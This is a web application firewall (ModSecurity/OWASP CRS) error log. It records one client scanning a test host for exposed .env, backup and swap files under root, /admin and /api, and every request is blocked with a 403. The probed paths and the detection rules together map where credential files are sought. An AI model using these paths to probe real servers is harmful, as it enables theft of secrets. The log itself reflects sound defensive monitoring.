[Thu Oct 30 20:06:36.952338 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIXAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.952542 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIXAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.952798 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIXAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.953011 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIXAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.459758 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.460012 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.460231 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.967850 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.968113 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:37.968317 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aQO3PZdseHRrfd8_FeKIXgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.473447 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIXwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.473713 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIXwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.473919 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIXwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.979733 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIYAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.980021 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIYAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:38.980244 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQO3PpdseHRrfd8_FeKIYAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.485009 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.485273 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.485482 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.989477 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.989675 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.989914 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:39.990115 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3P5dseHRrfd8_FeKIYgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.493471 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIYwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.493699 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIYwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.494432 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIYwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.494653 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIYwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.998678 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIZAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.998941 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIZAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:40.999148 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3QJdseHRrfd8_FeKIZAAAAAY&quot;], referer: https://www.google.com/
